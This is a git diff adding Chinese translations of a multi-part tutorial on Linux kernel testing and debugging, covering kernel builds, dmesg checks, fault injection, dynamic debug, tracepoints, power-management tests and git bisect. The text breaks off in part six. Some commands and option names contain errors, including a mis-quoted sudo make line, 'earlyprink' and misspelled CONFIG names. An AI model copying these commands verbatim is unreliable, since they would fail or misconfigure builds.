内核也不例外。开发人员自测、系统测试、回归测试、压力测试,都有各自不同的目的,但是从更高一个层次上看,这些测试的最终目的又是一样的:保证软件能一直运行下去,当有新功能加进去时,要保证新功能可以正常工作。 + +在软件释出 release 版之前,不用回归测试就能保证稳定性,并且尽量避免在软件发布后被用户发现 bug。调试被用户发现的 bug 是一项非常浪费时间和精力的工作。因此测试是一项非常重要的工作。不像闭源和专有的操作系统,Linux 内核的开发过程是完全开放的。这种处理方式即是它的优点,也是它的缺点。多个开发者持续增加新功能、修 bug、不断集成与测试 —— 当环境有新的硬件或功能时,这种开发方式能够保证内核能持续工作。在开源项目中,开发者与用户共享测试的结果,这也是开源项目与闭源项目之间的一个很重要的差别。 + +几乎所有 Linux 内核开发者都是活跃的 Linux 用户。内核测试人员不一定非得是内核开发者,相反,用户和开发者如果对新增的代码不是很熟悉,他们的测试效果会比代码开发人员自己测试的效果要好很多。也就是说,开发者的单元自测能验证软件的功能,但并不能保证在其他代码、其他功能、其他软件、硬件环境下面运行时会出现什么问题。开发者无法预料、也没有机会和资源来测试所有环境。因此,用户在 Linux 内核开发过程中起到非常重要的角色。 + +现在我们已经了解了持续集成测试的重要性,接下来我们会详细介绍测试的知识。但在此之前,我还是向你介绍一下开发的过程,以便让大家了解它是怎么工作的,以及如何把补丁打进内核主线。 + +全世界共有3000多个内核开发者为 Linux 内核贡献代码,每天都有新代码添加到内核,结果是大概2个月就能产生一个release ,包括几个稳定版和扩展稳定版。新功能的开发与已发布的稳定版集成测试流程在同时进行。 + +关于开发流程的详细描述,请参考[Greg Kroah-Hartman 的 Linux 内核开发的介绍][1]。 + +这份教程适合与初学者以及有经验的内核开发者,如果你想加入到内核开发者行列,那么它也适合你。有经验的开发人员可以跳过那些介绍基础测试和调试的章节。 + +这份教程介绍如何测试和调试 Linux 内核、工具、脚本以及在回归测试和集成测试中使用的调试机制。另外,本文还会介绍如何使用 git 把针对一个 bug 的补丁分离出来,再介绍把你的补丁提交到内核的邮件列表之前需要做些什么。我将会使用 Linux PM 作为测试它调试的对象。尽管本文讨论的是 Linux 内核,但是介绍的方法也适用于任何其他软件开发项目。 + +### 配置开发与测试的系统 ### + +第一步,找一个满足你需求的开发环境,x86-64 是一个比较理想的选择,除非你必须用特别的架构。 + +第二步,安装 Linux 发行版,我推荐 Ubuntu,所以本教程会介绍基于 Ubuntu 的配置过程。你可以参考[如何使用 Ubuntu][2] 来安装一个 Ubuntu 系统。 + +在开发和测试环境,最好要保证你的 boot 分区有足够的空间来存放内核文件。你可以为 boot 分区留下 3GB 空间,或把 boot 分区直接放到根目录下,这样 boot 分区可以使用整个磁盘的空间。 + +安装好操作系统后,确保 root 用户可用,确保你的用户身份可以使用 sudo 命令。你的系统也许已经安装了 build-essential,它是编译内核必备的软件包,如果没安装,运行下面的命令: + + sudo apt-get install build-essential + +然后运行下面的命令,保证你的系统能够交叉编译内核。下面的 ncurses-dev 安装包是运行 make menuconfig 命令必须用到的。 + + sudo apt-get install binutils-multiarch + + sudo apt-get install ncurses-dev + + sudo apt-get install alien + +然后安装一些每个内核开发者都会用到的工具包: + + sudo apt-get install git + + sudo apt-get install cscope + + sudo apt-get install meld + + sudo apt-get install gitk + +如果你喜欢把内核通过交叉编译以支持非 x86_64 架构的环境,请参考[在 x86_64 上交叉编译 Linux 内核][3]。 + +### 稳定的内核 ### + +使用 git 克隆一个稳定的内核,然后编译安装。你可以参考[Linux 内核结构][4]来找到最新的稳定版和开发主线。 + + git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git + +上面的步骤将会创建一个新的目录,名为 linux-stable,并把源码下载到里面。 + +你也可以直接下载压缩包并解压出源码,无需使用 git: + + tar xvf linux-3.x.y.tar.xz + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/linux-kernel-testing-and-debugging?page=0,0 + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://events.linuxfoundation.org/images/stories/pdf/als2012_gregkh.pdf +[2]:http://howtoubuntu.org/ +[3]:http://linuxdriverproject.org/mediawiki/index.php/Cross-compiling_Linux_kernel_on_x86_64 +[4]:https://www.kernel.org/ diff --git a/published/201408/20140718 Linux Kernel Testing and Debugging 2.md b/published/201408/20140718 Linux Kernel Testing and Debugging 2.md new file mode 100644 index 0000000000..a7682d0a8c --- /dev/null +++ b/published/201408/20140718 Linux Kernel Testing and Debugging 2.md @@ -0,0 +1,106 @@ +Linux 内核测试与调试(2) +================================================================================ +### 编译安装稳定版内核 ### + +如果你用 git 下载源码,就执行以下命令: + + cd linux-stable + + git checkout linux-3.x.y + +如果是直接下载压缩文件,用以下命令进入源码目录: + + cd linux-3.x.y + +如果你想把内核安装到自己的系统上,最安全的方法是使用你安装好的发行版拥有的配置文件。你可以在 /boot 目录找到当前发行版的内核配置文件: + + cp /boot/config-3.x.y-z-generic .config + +运行下面的命令,可以在当前内核配置的基础上修改一些小地方,然后产生新的内核配置文件。比如说新的内核比你的 Ubuntu 发行版自带的内核多了些新功能,而你正好需要用到它们,这个时候你就要修改配置了。 + + make oldconfig + +完成配置后,就可以编译了: + + make all + +完成编译后,安装这个新的内核: + + sudo "make modules_install install" + +上面的命令安装新内核,并把新内核作为启动项添加到 grub 文件(LCTT:就是你下次开机时会多出一个开机选项)。好了你可以重启电脑,然后选择新的内核启动系统。等等!先别冲动,在重启电脑之前,我们保存下编译内核产生的日志,用于比较和查找错误(如果有错误发生的话): + + dmesg -t > dmesg_current + + dmesg -t -k > dmesg_kernel + + dmesg -t -l emerg > dmesg_current_emerg + + dmesg -t -l alert > dmesg_current_alert + + dmesg -t -l crit > dmesg_current_alert + + dmesg -t -l err > dmesg_current_err + + dmesg -t -l warn > dmesg_current_warn + +正常的话,dmesg 不会输出 emerg, alert, crit 和 err 级别的信息。如果你不幸看到这些输出了,说明内核或者你的硬件环境有问题。 + +再介绍一些重启前的需要执行的操作。谁也不能保证新内核能够正常启动,所以请不要潇洒地把老内核删除,至少保留一个稳定可用的内核在系统上。修改一下 /etc/default/grub 文件: + +使用 earlyprink=vga 作为内核启动选项,把系统早期启动的信息打印到显示屏上: + + GRUB_CMDLINE_LINUX="earlyprink=vga" + +将 GRUB_TIMEOUT 的值设置成10秒到15秒之间的值,保证在开机启动的时候你有足够的时间来选择启动哪个内核: + + 取消对 GRUB_TIMEOUT 的注释,并把它设置为10:GRUB_TIMEOUT=10 + 注释掉 GRUB_HIDDEN_TIMEOUT 和 GRUB_HIDDEN_TIMEOUT_QUIET + +运行 update-grub 命令,更新 /boot 目录下的 grub 配置文件: + + sudo update-grub + +现在可以重启系统了。新内核起来后,比较新老内核的 dmesg 信息,看看新的内核有没有编译错误。如果新内核启动失败,你需要通过老内核启动系统,然后分析下为什么失败。 + +### 跟上节奏,永不落后(编译最新版内核) ### + +如果你想开上内核快车道,追求与时俱进,那就去下载 mainline 状态的内核或 linux-next 状态的内核(LCTT:读者可进入 kernel.org 获取代码,linux 代码被分为4种状态:mainline, stable, longterm, linux-next)。安装测试 mainline 状态或 linux-next 状态的内核,你就可以在正式发布之前帮助内核找到并修复里面的 bug。 + +mainline 状态的内核源码: + + git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git + +linux-next 状态的内核源码: + + git clone git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git + +编译安装这两种内核的步骤与编译安装稳定版内核一样。按之前讲过的步骤来就行了。 + +### 打补丁 ### + +Linux 内核的补丁是一个文本文件,包含新源码与老源码之间的差异。每个补丁只包含自己所依赖的源码的改动,除非它被特意包含进一系列补丁之中。打补丁方法如下: + + patch -p1 < file.patch + + git apply --index file.patch + +两种方法都可以打补丁。但是,如果你要打的补丁包含一个新文件,git 命令不能识别这个新增的文件,也就是说这个新文件在 git 里面属于 untracked 文件(LCTT:玩 git 的人对这个会比较熟悉,就是文件处于未被跟踪的状态,你需要使用 git add 命令将文件放入暂存区)。git diff 命令不会将这个文件的增量显示出来,并且 git status 命令会显示这个文件处于 untracked 状态。 + +大多数情况下,有个没被跟踪的文件,对于编译安装内核来说没什么问题,但是 git 操作就会出现一些问题了: git reset --hard 命令不会删除这个新加的文件,并且接下来的 git pull 操作也会失败。你有多种选择来避免上面所说的状况: + +选项1,不跟踪这个新文件: + +> 如果打补丁后新添加了文件,在 git reset --hard 前使用 git clean 命令来删除没有被跟踪的文件。举个例子,git clean -dfx 命令会强制删除未被跟踪的目录和文件,忽略在 .gitigniore 文件内规定的文件。如果你不在乎哪些文件会被删除,你可以使用 -q 选项让 git clean 命令进入安静模式,不输出任何处理过程。 + +选项2,跟踪新文件: + +> 你可以在使用 git apply --index file.patch 命令后让 git 跟踪打完补丁后新产生的文件(LCTT:使用 git add 命令),就是让 git 把文件放入 index 区域。做完这个后,git diff 命令会将新文件的增量打印出来,git status 也会显示者这是一个正常的新增文件。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/linux-kernel-testing-and-debugging?page=0,1 + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201408/20140718 Linux Kernel Testing and Debugging 3.md b/published/201408/20140718 Linux Kernel Testing and Debugging 3.md new file mode 100644 index 0000000000..ed93f5485e --- /dev/null +++ b/published/201408/20140718 Linux Kernel Testing and Debugging 3.md @@ -0,0 +1,125 @@ +Linux 内核测试与调试(3) +================================================================================ +### 基本测试 ### + +安装好内核后,试试能不能启动它。能启动的话,检查 dmesg 看看有没有隐藏的错误。试试下面的功能: + +- 网络(Wifi 或者网线)是否可用? +- ssh 是否可用? +- 使用 ssh 远程传输文件。 +- 使用 git clone 和 git pull 命令。 +- 用用网络浏览器。 +- 查看 email。 +- 使用 ftp, wget 等软件下载文件。 +- 播放音频视频文件。 +- 连上 USB 鼠标等设备。 + + +### 检查内核日志 ### + +使用 dmesg 查看隐藏的问题,对于定位新代码带来的 bug 是一个好方法。一般来说,dmesg 不会输出新的 crit, alert, emerg 级别的错误信息,也不应该出现新的 err 级别的信息。你要注意的是那些 warn 级别的日志信息。请注意 warn 这个级别的信息并不是坏消息,新代码带来新的警告信息,不会给内核带去严重的影响。 + +- dmesg -t -l emerg +- dmesg -t -l crit +- dmesg -t -l alert +- dmesg -t -l err +- dmesg -t -l warn +- dmesg -t -k +- dmesg -t + +下面的脚本运行了上面的命令,并且将输出保存起来,以便与老的内核的 dmesg 输出作比较(LCTT:老内核的 dmesg 输出在本系列的[第二篇文章][3]中有介绍)。然后运行 diff 命令,查看新老内核 dmesg 日志之间的不同。这个脚本需要输入老内核版本号,如果不输入参数,它只会生成新内核的 dmesg 日志文件后直接退出,不再作比较(LCTT:话是这么说没错,但点开脚本一看,没输参数的话,这货会直接退出,连新内核的 dmesg 日志也不会保存的)。如果 dmesg 日志有新的警告信息,表示新发布的内核有漏网之“虫”,这些 bug 逃过了自测和系统测试。你要看看,那些警告信息后面有没有栈跟踪信息?也许这里有很多问题需要你进一步调查分析。 + +- [**dmesg 测试脚本**][1] + +### 压力测试 ### + +执行压力测试的一个好办法是同时跑三四个内核编译任务。下载各种版本的内核,同时编译它们,并记录时间。比较新内核跑压力测试和老内核跑压力测试所花的时间,然后可以定位新内核的性能。如果新内核跑压力测试的时间比老内核的更长,说明新内核的部分模块性能退步了。性能问题很难调试出来。第一步是找出哪里导致的性能退步。同时跑多个内核编译任务对检测内核整体性能来说是个好方法,但是这种方法涵盖了多个内核模块,比如内存管理、文件系统、DMA、驱动等(LCTT:也就是说,这种压力测试没办法定位到是哪个模块造成了性能的下降)。 + + time make all + +### 内核测试工具 ### + +我们可以在 Linux 内核本身找到多种测试方法。下面介绍一个很好用的功能测试工具集: ktest 套件 + +ktest 是一个自动测试套件,它可以提供编译安装启动内核一条龙测试服务,也可以跑交叉编译测试,前提是你的系统有安装交叉编译所需要的软件。ktest 依赖于 flex 和 bison。详细信息请参考放在 tools/testing/ktest 目录下的文档,你可以自学成材。另外还有一些参考资料教你怎么使用 ktest: + +- [**ktest-eLinux.org**][2] + +### tools/testing/selftests 套件 ### + +我们来玩玩自测吧。内核源码的多个子系统都有自己的自测工具,到目前为止,断点、cpu热插拔、efivarfs、IPC、KCMP、内存热插拔、mqueue、网络、powerpc、ptrace、rcutorture、定时器和虚拟机子系统都有自测工具。另外,用户态内存的自测工具可以利用 test_user_copy 模块来测试用户态内存到内核态的拷贝过程。下面的命令演示了如何使用这些测试工具: + +编译测试: + + make -C tools/testing/selftests + +测试全部:(有些测试需要 root 权限,你需要以 root 用户登入系统然后运行命令) + + make -C tools/testing/selftests run_tests + +只测试单个子系统: + + make -C tools/testing/selftests TARGETS=vm run_tests + +### tools/testing/fault-injection 套件 ### + +在 tools/testing 目录下的另一个测试套件是 fault-injection。failcmd.sh 脚本用于检测 slab 和内存页分配器的错误。这些工具可以测试内核能否很好地从错误状态中恢复回来。这些测试需要用到 root 权限。下面简单介绍了一些当前能提供的错误检测方法。随着错误检测方法的增加,这份名单也会不断增长。最新的名单请参考 Documentation/fault-injection/fault-injection.txt 文档。 + +failslab (默认选项) + +> 产生 slab 分配错误。作用于 kmalloc(), kmem_cache_alloc() 等函数(LCTT:产生的结果是调用这些函数就会返回失败,可以模拟程序分不到内存时是否还能稳定运行下去)。 + +fail\_page\_alloc + +> 产生内存页分配的错误。作用于 alloc_pages(), get_free_pages() 等函数(LCTT:同上,调用这些函数,返回错误)。 + +fail\_make\_request + +> 对满足条件(可以设置 /sys/block//make-it-fail 或 /sys/block///make-it-fail 文件)的磁盘产生 IO 错误,作用于 generic_make_request() 函数(LCTT:所有针对这块磁盘的读或写请求都会出错)。 + +fail\_mmc\_request + +> 对满足条件(可以设置 /sys/kernel/debug/mmc0/fail\_mmc\_request 这个 debugfs 属性)的磁盘产生 MMC 数据错误。 + +你可以自己配置 fault-injection 套件的功能。fault-inject-debugfs 内核模块在系统运行时会在 debugfs 文件系统下面提供一些属性文件。你可以指定出错的概率,指定两个错误之间的时间间隔,当然本套件还能提供更多其他功能,具体请查看 Documentation/fault-injection/fault-injection.txt。 Boot 选项可以让你的系统在 debugfs 文件系统起来之前就可以产生错误,下面列出几个 boot 选项: + +- failslab= +- fail\_page_alloc= +- fail\_make\_request= +- mmc\_core.fail\_request=[interval],[probability],[space],[times] + +fault-injection 套件提供接口,以便增加新的功能。下面简单介绍下增加新功能的步骤,详细信息请参考上面提到过的文档: + +使用 DECLARE\_FAULT\_INJECTION(name) 定义默认属性; + +> 详细信息可查看 fault-inject.h 中定义的 struct fault\_attr 结构体。 + +配置 fault 属性,新建一个 boot 选项; + +> 这步可以使用 setup\_fault\_attr(attr, str) 函数完成,为了能在系统启动的早期产生错误,添加一个 boot 选项这一步是必须要有的。 + +添加 debugfs 属性; + +> 使用 fault\_create\_debugfs\_attr(name, parent, attr) 函数,为新功能添加新的 debugfs 属性。 + +为模块设置参数; + +> 为模块添加一些参数,对于配置错误属性来说是一个好主意,特别是当新功能的应用范围受限于单个内核模块的时候(LCTT:不同内核,你的新功能可能需要不同的测试参数,通过设置参数,你的功能可以不必为了迎合不同内核而每次都重新编译一遍)。 + +添加一个钩子函数到错误测试的代码中。 + +> should\_fail(attr, size) —— 当这个钩子函数返回 true 时,用户的代码就应该产生一个错误。 + +应用程序使用这个 fault-injection 套件可以指定某个具体的内核模块产生 slab 和内存页分配的错误,这样就可以缩小性能测试的范围。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/linux-kernel-testing-and-debugging?page=0,2 + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linuxdriverproject.org/mediawiki/index.php/Dmesg_regression_check_script +[2]:http://elinux.org/Ktest#Git_Bisect_type +[3]:http://linux.cn/article-3629-1.html \ No newline at end of file diff --git a/published/201408/20140718 Linux Kernel Testing and Debugging 4.md b/published/201408/20140718 Linux Kernel Testing and Debugging 4.md new file mode 100644 index 0000000000..6b4631a0be --- /dev/null +++ b/published/201408/20140718 Linux Kernel Testing and Debugging 4.md @@ -0,0 +1,145 @@ +Linux 内核测试和调试(4) +================================================================================ +### 自动测试工具 ### + +这里列出一些能满足不同需求的测试工具供你选择。本小节只是简单介绍个大概,并不提供详细操作指南。 + +#### [AuToTest][1] #### + +> AuToTest 是一个全自动测试框架,存在的主要目的就是测试 Linux 内核,当然也可以用来测试其他东西,比如测试一块新硬件是否能稳定工作。AuToTest 是开源软件,以 GPL 方式授权,运行于 server-client 架构(即 C/S 架构)。你可以通过配置 server 端来对运行了 client 端的系统执行初始化、运行与监测工作,也可以自己在目标系统上让 client 运行起来。另外你可以为这个测试框架添加测试用例,详情请参考[AuToTest 白皮书][2]。 + +#### Linaro Automated Validation Architecture #### + +> LAVA 自动测试框架用于自动安装于运行测试。举个例子:你在 LAVA 里面只需运行几个命令就可以跑 LTP(LCTT:Linux Test Project,中文是 Linux 测试计划,SGI发起并由IBM负责维护,目的是为开源社区提供测试套件来验证Linux的可靠性、健壮性和稳定性)。通过 LAVA 命令可以自动为你安装 LTP 所需要的所有依赖包,下载源码、编译编码、将 LTP 安装到某个独立的地方,方便卸载 LTP 时能移除所有二进制文件。安装好 LTP 后,运行 LAVA 命令时添加 'ltp' 选项就可以运行 LTP 测试任务了,它会将测试结果以文件方式保存下来,文件名包含测试名称、时间戳。这些测试结果可以留着供以后参考。这是个发现软件退化(如果软件退化了的话)的好方法。下面列出 LAVA 配合 LTP 使用的一些命令: + +显示 LAVA 支持的测试列表: + + lava-test list-tests + +安装测试套件: + + lava-test install ltp + +运行测试: + + lava-test run ltp + +查看结果: + + lava-test results show ltp-timestamp.0 + +卸载测试套件: + + lava-test uninstall ltp + +### 内核调试功能 ### + +Linux 内核本身包含很多调试功能,比如 kmemcheck 和 kmemleak。 + +#### kmemcheck #### + +> kmemcheck 是一个动态检查工具,可以检测出一些未被初始化的内存(LCTT:内核态使用这些内存可能会造成系统崩溃)并发出警告。它的功能与 Valgrind 类似,只是 Valgrind 运行在用户态,而 kmemchecke 运行在内核态。编译内核时加上 `CONFIG_KMEMCHECK` 选项打开 kmemcheck 调试功能。你可以阅读 Documentation/kmemcheck.txt 来学习如何配置使用这个功能,以及如何看懂调试结果。 + +#### kmemleak #### + +> kmemleak 通过类似于垃圾收集器的功能来检测内核是否有内存泄漏问题。而 kmemleak 与垃圾收集器的不同之处在于前者不会释放孤儿目标(LCTT:不会再被使用的、应该被释放而没被释放的内存区域),而是将它们打印到 /sys/kernel/debug/kmemleak 文件中。用户态的 Valgrind 也有一个类似的功能,使用 --leak-check 选项可以检测并报错内存泄漏问题,但并不释放这个孤儿内存。编译内核时使用 `CONFIG_DEBUG_KMEMLEAK` 选项打开 kmemcleak 调试功能。阅读 Documentation/kmemleak.txt 来学习怎么使用这个工具并读懂调试结果。 + +### 内核调试接口 ### + +Linux 内核通过配置选项、调试用的 API、接口和框架来支持动态或静态的调试。我们现在就好好学习学习这些牛逼的功能,从静态编译选项开始讲。 + +### 调试配置选项:静态编译 ### + +大部分 Linux 内核以及内核模块都包含调试选项,你只要在编译内核或内核模块的时候添加这个静态调试选项,程序运行时后就会产生调试信息,并记录在 dmesg 缓存中。 + +### 调试的 API ### + +调试 API 的一个很好的例子是 DMA-debug,用来调试驱动是否错误使用了 DMA 提供的 API。它会跟踪每个设备的映射关系,检测程序有没有试图为一些根本不存在的映射执行“取消映射”操作,检测代码建立 DMA 映射后可能产生的“映射丢失”的错误。内核配置选项 `CONFIG_HAVE_DMA_APT_DEBUG` 和 `CONFIG_DMA_API_DEBUG` 可以为内核提供这个功能。其中,`CONFIG_DMA_API_DEBUG` 选项启用后,内核调用 DMA 的 API 的同时也会调用 Debug-dma 接口。举例来说,当一个驱动调用 `dma_map_page()` 函数来映射一个 DMA 缓存时,`dma_map_page()` 会调用`debug_dma_map_page()` 函数来跟踪这个缓存,直到驱动调用 `dma_unmap_page()` 来取消映射。详细内容请参考[使用 DMA 调试 API 检测潜在的数据污染和内存泄漏问题][3]。 + +### 动态调试 ### + +动态调试功能就是你可以决定在程序运行过程中是否要 `pr_debug()`, `dev_dbg()`, `print_hex_dump_debug()`, `print_hex_dump_bytes()` 这些函数正常运行起来。什么意思?当程序运行过程中出现错误时,你可以指定程序打印有针对性的、详细的调试信息。这功能牛逼极了,我们不再需要为了添加调试代码定位一个问题,而重新编译安装内核。你可以指定 `CONDIF_DYNAMIC_DEBUG` 选项打开动态调试功能,然后通过 `/sys/kernel/debug/dynamic_debug/control` 接口指定要打印哪些调试日志。下面分别列出代码级别和模块级别打印日志的操作方法: + +让 kernel/power/suspend.c 源码第340行的 `pr_debug()` 函数打印日志: + + echo 'file suspend.c line 340 +p' > /sys/kernel/debug/dynamic_debug/control + +让内核模块在加载过程中打开动态调试功能: + +> 使用 modprobe 命令加在模块时加上 dyndbg='plmft' 选项。 + +让内核模块的动态调试功能在重启后依然有效: + +> 编辑 /etc/modprobe.d/modname.conf 文件(没有这个文件就创建一个),添加 dyndbg='plmft' 选项。然而对于哪些通过 initramfs 加载的驱动来说,这个配置基本无效(LCTT:免费奉送点比较高级的知识哈。系统启动时,需要先让 initramfs 挂载一个虚拟的文件系统,然后再挂载启动盘上的真实文件系统。这个虚拟文件系统里面的文件是 initramfs 自己提供的,也就是说你在真实的文件系统下面配置了 /etc/modprobe.d/modname.conf 这个文件,initramfs 是压根不去理会的。站在内核驱动的角度看:如果内核驱动在 initramfs 过程中被加载到内核,这个驱动读取到的 /etc/modprobe.d/modname.conf 是 initramfs 提供的,而不是你编辑的那个。所以会有上述“写了配置文件后重启依然无效”的结论)。对于这种刁民,呃,刁驱动,我们需要修改 grub 配置文件,在 kernel 那一行添加 module.dyndbg='plmft' 参数,这样你的驱动就可以开机启动动态调试功能了。 + +想打印更详细的调试信息,可以使用 `dynamic_debug.verbose=1` 选项。参考 Documentation/dynamic-debug-howto.txt 文件获取更多信息。 + +### 设置追踪点 ### + +到目前为止,我们介绍了多种动态和静态调试方法。静态调试选项和静态调试钩子函数(比如 DMA Debug API)需要的编译过程打开或关闭,导致了一个难过的事实:需要重新编译安装内核。而动态编译功能省去了“重新编译”这件麻烦事,但是也有不足的地方,就是调试代码引入了条件变量,用于判断是否打印调试信息。这种方法可以让你在程序运行时决定是否打印日志,但需要执行额外的判断过程。“追踪点”代码只会在程序运行过程中使用“追踪点”功能才会被触发。也就是说,“追踪点”代码与上述说的两种方法都不一样。当用不到它时,它不会运行(LCTT:动态调试的话,代码每次都需要查看下变量,然后判断是否需要打印日志;而“追踪点”貌似利用某种触发机制,不需要每次都去查看变量)。当你需要用到它时,程序的代码会把“追踪点”代码包含进去。它不会添加任何条件变量来增加系统的运行负担。 + +详细信息请参考[布置追踪代码的小技巧][4]。 + +### “追踪点”的原理 ### + +追踪点使用“跳跃标签”,这是一种使用分支跳转的编码修正(code modification)技术。 + +当关闭追踪点的时候,其伪代码看起来时这样的: + + [ code1 ] + nop + back: + [ code2 ] + return; + tracepoint: + [ tracepoint code ] + jmp back; + +当打开追踪点的时候,其伪代码看起来时这样的:(注意追踪点代码出现的位置) + + [ code1 ] + jmp tracepoint + back: + [ code2 ] + return; + tracepoint: + [ tracepoint code ] + jmp back; + +(LCTT:咳咳,解释解释上面两段伪代码吧,能看懂的大神请忽略这段注释。不使用追踪点时,代码运行过程是:code1->code2->return结束;使用追踪点时,代码运行过程是:code1->跳到tracepoint code执行调试代码->跳回code2->return结束。两段代码的唯一区别就是第二行,前者为 nop(不做任何操作),后者为 jmp tracepoint (跳到调试代码)。) + +### Linux 电源管理子系统的测试 ### + +使用静态调试、动态调试和追踪调试技术,我们来跑一下磁盘的电源管理测试。当系统被挂起时,内核会为磁盘创建一个休眠镜像,使磁盘进入休眠模式,当系统重新被唤醒时,内核又利用这个休眠镜像重新唤醒磁盘。 + +设置挂起设备与唤醒设备需要的时间: + + echo 1 > /sys/power/pm_print_times + +以 reboot 模式挂起磁盘: + + echo reboot > /sys/power/disk + echo disk > /sys/power/state + +以 shutdown 模式挂起磁盘 —— 与 reboot 模式一样,只是重新唤醒磁盘的话还需要电源提供。 + + echo shutdown > /sys/power/disk + echo disk > /sys/power/state + +以 platform 模式挂起磁盘 —— 能测试更多内容,比如 BIOS 挂起和唤醒,会涉及到 ACPI 功能。我们推荐你使用这种方式,把 BIOS 也拉下水陪你玩挂起和唤醒游戏。 + + echo platform > /sys/power/disk + echo disk > /sys/power/state + +-------------------------------------------------------------------------------- + +via:http://www.linuxjournal.com/content/linux-kernel-testing-and-debugging?page=0,3 + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://autotest.github.io/ +[2]:https://github.com/autotest/autotest/wiki/WhitePaper +[3]:http://events.linuxfoundation.org/sites/events/files/slides/Shuah_Khan_dma_map_error.pdf +[4]:http://www.linuxjournal.com/content/july-2013-linux-kernel-news diff --git a/published/201408/20140718 Linux Kernel Testing and Debugging 5.md b/published/201408/20140718 Linux Kernel Testing and Debugging 5.md new file mode 100644 index 0000000000..1fb8b484cf --- /dev/null +++ b/published/201408/20140718 Linux Kernel Testing and Debugging 5.md @@ -0,0 +1,90 @@ +Linux 内核测试和调试(5) +================================================================================ +### 仿真环境下进行 Linux 电源管理子系统测试 ### + +Linux 电源管理子系统在仿真环境下提供5种测试方式。这些方式仅仅在内核各层之间运行休眠的代码而不是真正的让系统进入休眠状态。有些平台不能挂起系统,比如说我们需要模拟飞机的飞行环境,这时候使用这种仿真环境就非常有用处了。 + +freezer - 测试停掉处理器: + + echo freezer > /sys/power/pm_test + echo platform > /sys/power/disk + echo disk > /sys/power/state + +devices - 测试停掉处理器以及挂起设备: + + echo devices > /sys/power/pm_test + echo platform > /sys/power/disk + echo disk > /sys/power/state + +platform - 测试停掉处理器、挂起设备以及平台全局控制方法(*) + + echo platform > /sys/power/pm_test + echo platform > /sys/power/disk + echo disk > /sys/power/state + +processors - 测试停掉处理器、挂起设备和平台全局控制方法(*),以及关闭未启动的 CPU。 + + echo processors > /sys/power/pm_test + echo platform > /sys/power/disk + echo disk > /sys/power/state + +core - 测试停掉处理器、挂起设备和平台全局控制方法(*),关闭未启动的 CPU,以及挂起平台或系统的设备。注意:这个测试模式运行在 ACPI 系统。 + + echo core > /sys/power/pm_test + echo platform > /sys/power/disk + echo disk > /sys/power/state + +### Linux 电源管理子系统追踪事件 ### + +电源管理子系统在运行过程中支持多种追踪点和追踪事件。我将对如何使用这些追踪时间以及如何找到追踪信息作一个简单的介绍: + +在运行时开启电源管理事件: + + cd /sys/kernel/debug/tracing/events/power + echo 1 > cpu_frequency/enable + cat /sys/kernel/debug/tracing/set_event + less /sys/kernel/debug/tracing/trace + +为内核启动的命令添加一个参数: + + trace_event=cpu_frequency + +更多信息查看 Documentation/power/basic-pm-debugging.txt 以及同目录下其他的文档。 + +### git bisect 命令 ### + +git bisect 是一个非常有用非常强大的工具,用于将 git 上的一个 commit 分离出来。我简单过一遍它的用法。 + +下面是 git bisect 的用法: + + git bisect start + git bisect bad # 当前版本是坏的 + git bisect good v3.14-rc6 # 上个版本是好的 + +一旦指定好好的版本和坏的版本,git bisect 就会开始把好坏两个版本之间的所有 commit 对半分,并将其中的一半提交 pull 下来。然后重新编译安装测试内核,并标记这个内核是好是坏。重复这个过程,知道某个你选好的 commit 被标记被好或者坏。我们可能需要测试多个内核版本,测到最后一个版本时,git bisect 会将一个 commit 标记为坏。下面的命令可以在 git bisect 分析过程中起到帮助作用: + +查看 bisect 操作的过程: + + git bisect log + +重置 git bisect,标记错误时可以用到,保存 git log 的输出,重新操作上一次 bisect 的步骤: + + git bisect reset + +重放 git bisect 操作过程: + + git bisect replay git_log_output + +如果一个问题很清楚是在某个区域内,git bisect 命令可以定位到一个具体的内核源码树枝干上。举个例子,在调试一个镭龙显卡驱动的问题时,为 git bisect 指定 drivers/drm/radeon 参数,可以让 git bisect 只检索对 drivers/drm/radeon 里面的文件有修改的 commit。 + +让 git bisect 只检索内核树的某个枝干: + + git bisect start drivers/drm/radeon + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/linux-kernel-testing-and-debugging?page=0,4 + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201408/20140718 Linux Kernel Testing and Debugging 6.md b/published/201408/20140718 Linux Kernel Testing and Debugging 6.md new file mode 100644 index 0000000000..e5d4264421 --- /dev/null +++ b/published/201408/20140718 Linux Kernel Testing and Debugging 6.md @@ -0,0 +1,136 @@ +Linux 内核的测试和调试(6) +================================================================================ +### Linux 内核补丁测试 ### + +你试过自己写内核补丁吗?本节介绍在把你的补丁包提交到 Linux 邮箱列表之前,需要做哪些操作。另外我们还会介绍如何把它发送出去。 + +写好代码后,编译它。把 make 过程产生的输出保存到文档中,查看新代码有没有警告信息。找到所有的警告信息,处理掉。当你的代码编译过程没有任何不正常的输出,安装这个内核,然后启动测试。如果启动正常,查看 dmesg 里面有没于错误,与老内核生成的 dmesg 日志做个比较。运行一些压力测试,请参考我们以前讲过的测试内容。如果这个补丁用于修复某个 